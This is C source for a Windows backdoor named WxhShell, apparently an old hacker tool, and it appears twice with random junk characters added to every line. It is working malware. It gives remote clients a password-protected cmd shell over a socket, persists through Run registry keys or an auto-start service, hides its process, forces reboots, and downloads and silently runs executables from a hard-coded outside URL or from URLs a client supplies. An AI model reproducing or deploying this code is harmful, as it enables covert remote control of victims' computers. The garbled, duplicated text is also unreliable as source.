    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )E*f30  
    else { =CJ`0yDQ>  
    closesocket(wsh); }7(+#ISK6  
    ExitThread(0); PfRA\  
    } *1{A'`.=\  
    break; l`ZL^uT  
    } .P aDR |!  
  // 获取shell mL2J  
  case 's': { Wc2&3p9 c  
    CmdShell(wsh); @#OL{yMy  
    closesocket(wsh); 8=TC 3]  
    ExitThread(0); \fiy[W/k  
    break; /51$o\4 S  
  } OKlR`Vaty  
  // 退出 D 5n\h5  
  case 'x': { dk nM|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); A,~KrRd  
    CloseIt(wsh); nJ]7vj,rB  
    break; boGdZ2$h4  
    } |1(x2x%}D^  
  // 离开 |+W{c`KL  
  case 'q': { UMe?nAC  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); sTl^j gV7j  
    closesocket(wsh); t;6<k7h  
    WSACleanup(); "aF2:E'  
    exit(1); WoN},oT[i  
    break; Q=Mv"~2>B  
        } `G1"&q,i  
  } ^tGAJ_b 79  
  } o>C,Db~L/  
2HmK['(  
  // 提示信息 ch]Qz[d  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V [g^R*b  
} j8p<HE51  
  } k>mXh{ (  
(ct1i>g  
  return; j \jMN*dmV  
} hmGlGc,lf  
Ye&/O<G'V  
// shell模块句柄 \-pwA j?  
int CmdShell(SOCKET sock) e'A_4;~@s  
{ BInSS*L  
STARTUPINFO si; //BJaWq  
ZeroMemory(&si,sizeof(si)); [|oG}'Xz  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1C{0 R.  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; C/Tk`C&  
PROCESS_INFORMATION ProcessInfo; N=Ct3  
char cmdline[]="cmd"; `e<IO_cg  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); %xCL&}bY  
  return 0; SoM,o]s#y  
} JxtzI2  
<q$Tk,  
// 自身启动模式 7HH@7vpJ^  
int StartFromService(void) }6\,kFc  
{ ?V8Fgd  
typedef struct XXum2eA  
{ -Yse^(^"s  
  DWORD ExitStatus; mc%. 8i  
  DWORD PebBaseAddress; nUpj+F#  
  DWORD AffinityMask; JI]Lz1i  
  DWORD BasePriority; (0q`eO2  
  ULONG UniqueProcessId; z2YYxJ c&w  
  ULONG InheritedFromUniqueProcessId; 9DhM 9VU  
}   PROCESS_BASIC_INFORMATION; ygnZ9ikh<-  
hRX9Du`$  
PROCNTQSIP NtQueryInformationProcess; 0.x+ H9z  
e8("G[P >  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Z,2?TT|p  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \#]%S/_ A  
Mb2a;s  
  HANDLE             hProcess; I F6$@Q  
  PROCESS_BASIC_INFORMATION pbi; 8|)!E`TKSV  
g $Y]{VM.J  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); d.~ns4bt9  
  if(NULL == hInst ) return 0; A?#i{R  
xjbI1qCfe  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 36(qe"s  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); en'[_43  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,+`r2}N \/  
#Mn?Nn  
  if (!NtQueryInformationProcess) return 0; ME]4tu  
onSt%5{P%X  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?wG  
  if(!hProcess) return 0; i /[{xRXiR  
z3i`O La  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Yv]vl6<  
VVch%  
  CloseHandle(hProcess); BedL `[ ,  
WLXt@dK*u  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Q2ne]MI  
if(hProcess==NULL) return 0; k{;?>=FH!  
mz.,j(Ks-  
HMODULE hMod; m<3. X"-  
char procName[255]; J' P:SC1  
unsigned long cbNeeded; C('D]u$Hdk  
&%j`WF4p  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _0rt.NRD  
9_5>MmiB  
  CloseHandle(hProcess); 6jc5B#  
b}Gm{;s!  
if(strstr(procName,"services")) return 1; // 以服务启动 L]z8'n,  
j:1N&7<FU  
  return 0; // 注册表启动 02;'"EmP$  
} YX,;z/Jw2  
seK;TQ3/7  
// 主模块 VdM Ksx`r  
int StartWxhshell(LPSTR lpCmdLine) @4*eH\3  
{ D.{vuftu  
  SOCKET wsl; Ne|CWUhO  
BOOL val=TRUE; [DjlkA/Zg  
  int port=0; h\@X!Z,  
  struct sockaddr_in door; 3lWGa7<4Z  
>g!$H}\  
  if(wscfg.ws_autoins) Install(); n]#YL4j  
!O!:=wq  
port=atoi(lpCmdLine); kYkA^Aq  
+1c r6a  
if(port<=0) port=wscfg.ws_port; GOdWc9Ta!  
#@BhGB`9Qt  
  WSADATA data; yxu7YGp%  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; |khFQ(  
+0[H`5-^  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   9'H:pb2  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); XkqsL0\  
  door.sin_family = AF_INET; "6%{#TZ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0N!rIz  
  door.sin_port = htons(port); N~v<8vJq`  
l^bak]9 1  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Pl'lmUR  
closesocket(wsl); E.m2- P;4  
return 1; >wqWIw.w>  
} >V)#y$Z  
apJXRH`  
  if(listen(wsl,2) == INVALID_SOCKET) { "})OLa  
closesocket(wsl); nnRb   
return 1; X{cB%to  
} *^[6uaa  
  Wxhshell(wsl); Xmmj.ZUr  
  WSACleanup(); x4kQGe(  
]lGkZyU hI  
return 0; NKFeND  
<Af&Q0J  
} ] rqx><!  
~P}ng{x4z  
// 以NT服务方式启动 6rE8P#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) TW 1`{SM  
{ s7}-j2riq  
DWORD   status = 0; \anOOn@  
  DWORD   specificError = 0xfffffff; 3%9XJ]Qao  
|a7Kn/[`,  
  serviceStatus.dwServiceType     = SERVICE_WIN32; L:&'z:,<  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; e`LvHU_0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Xl<*Fn?  
  serviceStatus.dwWin32ExitCode     = 0; @Zhd/=2[  
  serviceStatus.dwServiceSpecificExitCode = 0; t;3).F  
  serviceStatus.dwCheckPoint       = 0; e@O]c "  
  serviceStatus.dwWaitHint       = 0; 5.\|*+E~  
"\+\,C  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -XnIDXM  
  if (hServiceStatusHandle==0) return; &$T7eOiZ  
p<D@l2vt  
status = GetLastError(); %=K[C  
  if (status!=NO_ERROR) "+O/OKfR0  
{ mBye)q$  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; PQ_A^95  
    serviceStatus.dwCheckPoint       = 0; b~<V}tJ  
    serviceStatus.dwWaitHint       = 0; zI ^:{]p  
    serviceStatus.dwWin32ExitCode     = status; UT{`'#iT  
    serviceStatus.dwServiceSpecificExitCode = specificError; w `d9" n  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); H0B=X l[  
    return; dhP")@3K;p  
  } '?I3&lYz{  
Lf<urIF  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; s4f{ziLp  
  serviceStatus.dwCheckPoint       = 0; PpLh j  
  serviceStatus.dwWaitHint       = 0; #t Pc<p6m  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @[\zO'|  
} EUrIh2.Z  
,qB@agjvo<  
// 处理NT服务事件,比如:启动、停止 e+#k\x   
VOID WINAPI NTServiceHandler(DWORD fdwControl) Ht}?=ZzW  
{ v`Y{.>[H[  
switch(fdwControl) q l5&&e=-  
{ W4P\HM>2  
case SERVICE_CONTROL_STOP: dqB N_P%  
  serviceStatus.dwWin32ExitCode = 0; FD%OG6db];  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 'bH~KK5  
  serviceStatus.dwCheckPoint   = 0; 8yOhKEPX  
  serviceStatus.dwWaitHint     = 0; o+k*ia~Fa  
  { ZjY?T)WE9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); A ^hafBa  
  } u!+;Iy7  
  return; >Z gV8X:  
case SERVICE_CONTROL_PAUSE: `l70i2xcj  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; V#Y"0l+~  
  break; @|w/`!}9q  
case SERVICE_CONTROL_CONTINUE: "85)2*+  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; e1V1Ae  
  break; qOQ8a:]?  
case SERVICE_CONTROL_INTERROGATE: H;AMRL o4z  
  break; %)d7iT~M  
}; `25<;@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )3|a_   
} LtUw  
 |#xBC+  
// 标准应用程序主函数 3H>\hZ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) G<rAM+B*g  
{ dqgr98  
Zf??/+[  
// 获取操作系统版本 fpO2bD%$8  
OsIsNt=GetOsVer(); BSr#;;\  
GetModuleFileName(NULL,ExeFile,MAX_PATH); c1R[Hck  
H<nA*Zf2@R  
  // 从命令行安装 HHgv, bC!  
  if(strpbrk(lpCmdLine,"iI")) Install(); 23ho uS   
ei}(jlQp  
  // 下载执行文件 ^)`e}}  
if(wscfg.ws_downexe) { 2"}Vfy  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !lZ}kz0  
  WinExec(wscfg.ws_filenam,SW_HIDE); 5~[][VV^  
} F]N?_ bo  
5V/]7>b1  
if(!OsIsNt) { ,|#biT-<T  
// 如果时win9x,隐藏进程并且设置为注册表启动 @0tX ,Z9  
HideProc(); eQ[}ALIq  
StartWxhshell(lpCmdLine); ;jPiD`Kyv  
} 5w~J"P6jg  
else c;a<nTLn  
  if(StartFromService()) V4n;N  
  // 以服务方式启动 ~(Q#G" t  
  StartServiceCtrlDispatcher(DispatchTable); +l]> (k.2  
else M,oZ_tY%  
  // 普通方式启动 k7sD"xR3  
  StartWxhshell(lpCmdLine); dxS5-aWy9w  
,E%O_:}R  
return 0; {C8IYBm  
} *].qm g%  
j]-_kjt  
>-3>Rjo>  
 -V"W  
=========================================== |v#D}E  
Zrgv*  
+.rOqkxJ  
k3Puq1H  
{}RU'<D  
{z;K0  
" 0#m=76[b  
NP4u/C<  
#include <stdio.h> 6u`$a&dR'l  
#include <string.h> A |U0e`Iw  
#include <windows.h> nC?Lz1re  
#include <winsock2.h> 8`1]#Vw  
#include <winsvc.h> `]l|YQz\  
#include <urlmon.h> a>d`g  
w7q6v>  
#pragma comment (lib, "Ws2_32.lib") |S<!'rY  
#pragma comment (lib, "urlmon.lib") gg#lI|  
~oK0k_{~  
#define MAX_USER   100 // 最大客户端连接数 79o=HiOF99  
#define BUF_SOCK   200 // sock buffer \W=Z`w3  
#define KEY_BUFF   255 // 输入 buffer ^;[_CF _  
$Tt.r  
#define REBOOT     0   // 重启 CeUXGa|C  
#define SHUTDOWN   1   // 关机 ;"RyHow  
V)u#=OS  
#define DEF_PORT   5000 // 监听端口 MpJ\4D5G  
SL+n y(y  
#define REG_LEN     16   // 注册表键长度 eQ6wEeB9  
#define SVC_LEN     80   // NT服务名长度 X Vo+ <&  
2\#$::B9  
// 从dll定义API ZTB6m`  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 0 xvSi9  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); bJ6H6D>  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); z/p^C~|}  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Fo~q35uB  
$S2 /*  
// wxhshell配置信息 tWaGCxaE  
struct WSCFG { 7A$mZPKh  
  int ws_port;         // 监听端口 *mYGs )|  
  char ws_passstr[REG_LEN]; // 口令 -Edi"B4K  
  int ws_autoins;       // 安装标记, 1=yes 0=no F|oyrG  
  char ws_regname[REG_LEN]; // 注册表键名 [ `_sH\  
  char ws_svcname[REG_LEN]; // 服务名 /t2H%#v{  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *Utx0Me  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 2FO<Z %Y  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 %503 <j  
int ws_downexe;       // 下载执行标记, 1=yes 0=no B T {cTj0W  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" _~P &8  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 hKnV=Ha(  
!tx.2m*5  
}; mjk<FXW  
![]6| G&  
// default Wxhshell configuration bwszfPM  
struct WSCFG wscfg={DEF_PORT, ]n:R#55A  
    "xuhuanlingzhe", +Oo-8f*  
    1, MhD=\Lpj\  
    "Wxhshell", z 9WeOs  
    "Wxhshell", c]$$ap  
            "WxhShell Service", "WbKhE  
    "Wrsky Windows CmdShell Service", 'L{pS-+6  
    "Please Input Your Password: ", Ri::Ek3qu  
  1, wM-H5\9n  
  "http://www.wrsky.com/wxhshell.exe", ?zVE7;r4U  
  "Wxhshell.exe" J'WOqAnPZ  
    }; 1r*@1y<0"  
#i.BOQxS  
// 消息定义模块 gt~u/Z%  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; pQ4HX)<P  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ~[BGKq h  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; PB BJ.!Pb  
char *msg_ws_ext="\n\rExit."; CU*;>h1~u  
char *msg_ws_end="\n\rQuit."; FBzsM7]j  
char *msg_ws_boot="\n\rReboot..."; `@u9 fx.  
char *msg_ws_poff="\n\rShutdown..."; n%02,pC6,  
char *msg_ws_down="\n\rSave to "; y;P%=M P  
V;Ln|._/t  
char *msg_ws_err="\n\rErr!"; [`bK {Dq2  
char *msg_ws_ok="\n\rOK!"; E2`9H-6e  
Of9 gS-m  
char ExeFile[MAX_PATH]; K05T`+N,  
int nUser = 0; D})12qB;u9  
HANDLE handles[MAX_USER]; (b"q(:5oX  
int OsIsNt; 43rV> W,  
ol {N^fi K  
SERVICE_STATUS       serviceStatus; sP=^5K`g  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ]j$(so"  
mGF)Ot R  
// 函数声明 d+0= a]  
int Install(void); W58%Zz4a  
int Uninstall(void); A ;|P\V  
int DownloadFile(char *sURL, SOCKET wsh); 0| =y#`;,Z  
int Boot(int flag); IfI:|w}:"r  
void HideProc(void); 8&qtF.i-6  
int GetOsVer(void); *Z2Ko5&Y2  
int Wxhshell(SOCKET wsl); x7jFYC  
void TalkWithClient(void *cs); %ca`v;].  
int CmdShell(SOCKET sock); 6J$I8b#/  
int StartFromService(void); _?I*:: I  
int StartWxhshell(LPSTR lpCmdLine); 34_ V&8  
<R_)[{ 7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ) <w`:wD  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); U5?QneK  
t23W=U  
// 数据结构和表定义 ^L.'At  
SERVICE_TABLE_ENTRY DispatchTable[] = cveQ6 -`K  
{ 2)QZYgfh  
{wscfg.ws_svcname, NTServiceMain}, sEL0h4  
{NULL, NULL} |fgh ryI,  
}; #hXvGon$?  
+u&3pK>f  
// 自我安装 $uRi/%Q9  
int Install(void) $}us+hGZ  
{ -<" ;|v4  
  char svExeFile[MAX_PATH]; {/48n83n  
  HKEY key; #|=lU4Bf  
  strcpy(svExeFile,ExeFile); g{2~G6%;0  
G6JP3dOT  
// 如果是win9x系统,修改注册表设为自启动 ~Ra8(KocD  
if(!OsIsNt) { :wUi&xw  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8 ~Pdr]5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); D$TpT X\  
  RegCloseKey(key); oMoco tQ;$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O]!o|w(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 'UuHyC2Ha3  
  RegCloseKey(key); IQ xi@7%&  
  return 0; J 5xZL v  
    } T~g`;Q%i  
  } -"#jRP]#  
} _U^G*EqL*  
else { s |o(~2j  
% ;a B#:p6  
// 如果是NT以上系统,安装为系统服务 kcMg`pJ4<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); n+2>jY  
if (schSCManager!=0) z*cKH$':  
{ )gAqWbkB  
  SC_HANDLE schService = CreateService 8-@H zS%  
  ( Q DKY7"H  
  schSCManager, 4<f^/!9w  
  wscfg.ws_svcname, g\iSc~%?  
  wscfg.ws_svcdisp, wZKmU  
  SERVICE_ALL_ACCESS, .4<lw  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , f<'D?d)L^  
  SERVICE_AUTO_START, W"A3$/nq^  
  SERVICE_ERROR_NORMAL, _|;{{8*?  
  svExeFile, z 8#{=e  
  NULL, nFn}  
  NULL, D^f;X.Qm  
  NULL, ,,7hVw  
  NULL, j}fSz)`i  
  NULL Ies` !W^  
  ); \}YAQ'T  
  if (schService!=0) bPV;"  
  { VS_I'SPPIc  
  CloseServiceHandle(schService); s E;2;2u"  
  CloseServiceHandle(schSCManager); ]AN%#1++U  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); wb##|XyK<c  
  strcat(svExeFile,wscfg.ws_svcname); <vxTfE@>bp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { }2Y`Lr  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); (''w$qq"D  
  RegCloseKey(key); 7=qvu&{  
  return 0; 9j5-/   
    } 3[ xHY@c  
  } /R>YDout}  
  CloseServiceHandle(schSCManager); ^nDa-J$  
} ~4mRm!DP  
} Ua~8DdW  
8~|v:qk  
return 1; VAe[x `  
} N0 mh gEA  
D/,(xWaT  
// 自我卸载 cu)B!#<!&  
int Uninstall(void) 1hc`s+N  
{ O2U}jHsd  
  HKEY key; [EK^0g   
X|}Q4T`  
if(!OsIsNt) { `v'yGsIV  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lc]cs D  
  RegDeleteValue(key,wscfg.ws_regname); @iBmOt>3  
  RegCloseKey(key); yDj'')LOQg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Kp;a(D  
  RegDeleteValue(key,wscfg.ws_regname); SQMtR2  
  RegCloseKey(key); %CUwD  
  return 0; =T)y(] ;M$  
  } @![1W@J  
} DUg[L  
} w>'3}o(nY  
else { `91Z]zGpU  
hb9HVj  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 0vMKyT3 c  
if (schSCManager!=0) vTL/% SJ8  
{ NW&2ca  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); as!P`*@  
  if (schService!=0) GXRW"4eF5  
  { #CW{y?=  
  if(DeleteService(schService)!=0) { Fr2F&NN`D  
  CloseServiceHandle(schService); [*5hx_4%B  
  CloseServiceHandle(schSCManager); qt4%=E;[  
  return 0; ,4;'s  
  } B$S@xD $  
  CloseServiceHandle(schService); ~~Rq$'q}  
  } |Nadk(}  
  CloseServiceHandle(schSCManager); [ /<kPi  
} 8I<j"6`+Q  
} A.RG8"  
`\/\C[Gg  
return 1; VA %lJ!$  
} p Ohjq#}  
&[N_{O|  
// 从指定url下载文件 voJJoy%  
int DownloadFile(char *sURL, SOCKET wsh) 'a:';hU3f  
{ R0bgt2J  
  HRESULT hr; =F5zU5`i  
char seps[]= "/"; +4Q1s?`  
char *token; 7;Vmbt9  
char *file; '?LqVzZI  
char myURL[MAX_PATH]; -<e_^  
char myFILE[MAX_PATH]; IOJLJ p  
=?N$0F!  
strcpy(myURL,sURL); 6}Rb-\N  
  token=strtok(myURL,seps); h${=gSJc  
  while(token!=NULL) c6iFha;db  
  { ^g.H JQ'vF  
    file=token; [@]i_L[  
  token=strtok(NULL,seps); Os!x<r|r  
  } 1@F>E;YjL=  
X?(R!=a  
GetCurrentDirectory(MAX_PATH,myFILE); "I@akM$x  
strcat(myFILE, "\\"); F;Q'R |HQ  
strcat(myFILE, file); u(PUbxJ V  
  send(wsh,myFILE,strlen(myFILE),0); xlh<}V tp  
send(wsh,"...",3,0); K~fWZT3]  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); l%qh^0  
  if(hr==S_OK) by$mD_sr  
return 0; rqKK89fD'  
else M-e|$'4u  
return 1; Z4m+GFY  
=c%gV]>G  
} FV/lBWiQQ  
_<l)4A3rS  
// 系统电源模块 o  WAy[  
int Boot(int flag) 7y$U$6  
{ 3FMYs&0r4  
  HANDLE hToken; ^Cj3\G4,  
  TOKEN_PRIVILEGES tkp; |D[LU[<C  
Or55_E  
  if(OsIsNt) { E5a7p.  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); qa4j>;  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); hZ')<@hNP  
    tkp.PrivilegeCount = 1; pr1kYMrqri  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \FnR'ne  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); M<SVH_  
if(flag==REBOOT) { -U;=]o1  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) f>m ! }F:  
  return 0; #IJ6pg>K  
} X+ /^s)  
else { NL'(/|)  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {s=c!08=  
  return 0; ^S(QvoaQ  
} DU-dIq i  
  } o@ L '|#e  
  else { (?i4P5s[!  
if(flag==REBOOT) { e488}h6#m  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) K 28s<i`  
  return 0; (-@I'CFd  
} KHM,lj*  
else { D}N4*L1  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) v|@EuN14<  
  return 0; jY ;Hdb''  
} $^YHyfh  
} cqcH1aSv  
'>Thn{  
return 1; n 8FIxl&u  
} j{/5i`5m  
V}FH5z |  
// win9x进程隐藏模块 r&~]6 U  
void HideProc(void) <)"2rxX&5  
{ *zdUCX  
O8-Z >;  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); a%QgL&_5  
  if ( hKernel != NULL ) anORoK.  
  { u]]mbER*t#  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 4~hP25q  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); TiJ \J{  
    FreeLibrary(hKernel); biU ?>R  
  } M7YbRl  
G{zxP%[E  
return; _*xY>?Aq  
} |`+ (O  
'}q/;}ih  
// 获取操作系统版本 Gq7\b({=  
int GetOsVer(void) eu//Q'W  
{ *g4Uo{  
  OSVERSIONINFO winfo; ![eipOX  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); HaRx(p0  
  GetVersionEx(&winfo); ~RV9'v4  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) om6`>I*  
  return 1; Vygh|UEo  
  else  Gc;-zq  
  return 0; /sqfw,h@  
} +Q"XwxL<6  
qVvnl  
// 客户端句柄模块 -WGlOpg0;  
int Wxhshell(SOCKET wsl) fe}RmnAC  
{ "kKIv|`  
  SOCKET wsh; tv; ?W=&P  
  struct sockaddr_in client; 2/x~w~3U  
  DWORD myID; -.-@|*5  
%~0]o@LW7  
  while(nUser<MAX_USER) 51ILR9 Bc_  
{ w*u.z(:a`  
  int nSize=sizeof(client); iL~(BnsF  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); <1`MjP*w  
  if(wsh==INVALID_SOCKET) return 1; Of eM;)  
INRRA  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); B|=S-5pv*  
if(handles[nUser]==0) Qh]k)]+*|  
  closesocket(wsh); ]|[mwC4  
else \\Z?v,XsS  
  nUser++; }$* z:E  
  } Q_*.1L  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); &0{&4,  
AR g]GV/L  
  return 0; |Vp ?  
} `*]r+J2  
V-"#Kf9  
// 关闭 socket !.O;SG  
void CloseIt(SOCKET wsh) %PPkT]~\  
{ 2Ic)]6z R  
closesocket(wsh); s,M]f,T  
nUser--; 8/~@3-9EK  
ExitThread(0); ?}C8_I|4~  
} m`4N1egCt  
GZmfE`  
// 客户端请求句柄 +hs:W'`%  
void TalkWithClient(void *cs) +KIBbXF7  
{ u_*y~1^0  
q~{O^,4S  
  SOCKET wsh=(SOCKET)cs; *]DO3Zw'  
  char pwd[SVC_LEN]; zJOyr"B'8  
  char cmd[KEY_BUFF]; 9|K :\!7  
char chr[1]; 0 Cyus  
int i,j; VI.Cmw~S  
uTy00`1  
  while (nUser < MAX_USER) { C @P$RVS  
-y/Y%]%0  
if(wscfg.ws_passstr) { qporH]J-E  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ze?H  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }xgs]\^,73  
  //ZeroMemory(pwd,KEY_BUFF); yXf+dMv  
      i=0; FQ/z,it_i  
  while(i<SVC_LEN) { i{r[zA]$  
Z,>owoP4  
  // 设置超时 wid  
  fd_set FdRead; eXkpU7w;  
  struct timeval TimeOut; &-Q_%eM^  
  FD_ZERO(&FdRead); &7eN EA  
  FD_SET(wsh,&FdRead); O_*tDq,e  
  TimeOut.tv_sec=8; _?XR;2 ]  
  TimeOut.tv_usec=0; s|R`$+'{  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); `*B6T7p1  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); [9y y<Z5  
1=^|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ayN[y  
  pwd=chr[0]; LVy (O9g  
  if(chr[0]==0xd || chr[0]==0xa) { 6g)CpZU  
  pwd=0; 8w~X4A,  
  break; Z[kVVE9b?  
  } Krr51` hZH  
  i++; |}d+BD  
    } c Hnd gUW]  
|"}rC >+  
  // 如果是非法用户,关闭 socket A|m0.'/   
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); QjTs$#eMW  
} R-Y 7I  
l_ LH!Tu  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ? ~oc4J*>(  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); d[p?B-7%  
0.B'Bvn=s2  
while(1) { m4R:KjN*  
$-39O3  
  ZeroMemory(cmd,KEY_BUFF); ^+Vf*YY 8  
i~m;Ah,#  
      // 自动支持客户端 telnet标准   g? C<@  
  j=0; $Ut1vp1$  
  while(j<KEY_BUFF) { DyRU$U  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); e )]  
  cmd[j]=chr[0]; =b Q\BY#  
  if(chr[0]==0xa || chr[0]==0xd) { Bey9P)_Of  
  cmd[j]=0; o9Tsyjbj  
  break; gbu)bqu2x  
  } mqiCn]8G  
  j++; =ibKdPtTh^  
    } L; <Pod  
.gCun_td#  
  // 下载文件 hh-sm8  
  if(strstr(cmd,"http://")) { 'Ojxzz*tT  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); so@ijl4{Z  
  if(DownloadFile(cmd,wsh)) Iz!]LW  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); g,f AV M  
  else w1+ %+x  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VrJf g  
  } |sAl k,8s  
  else { !@FzP@  
X6r3$2!  
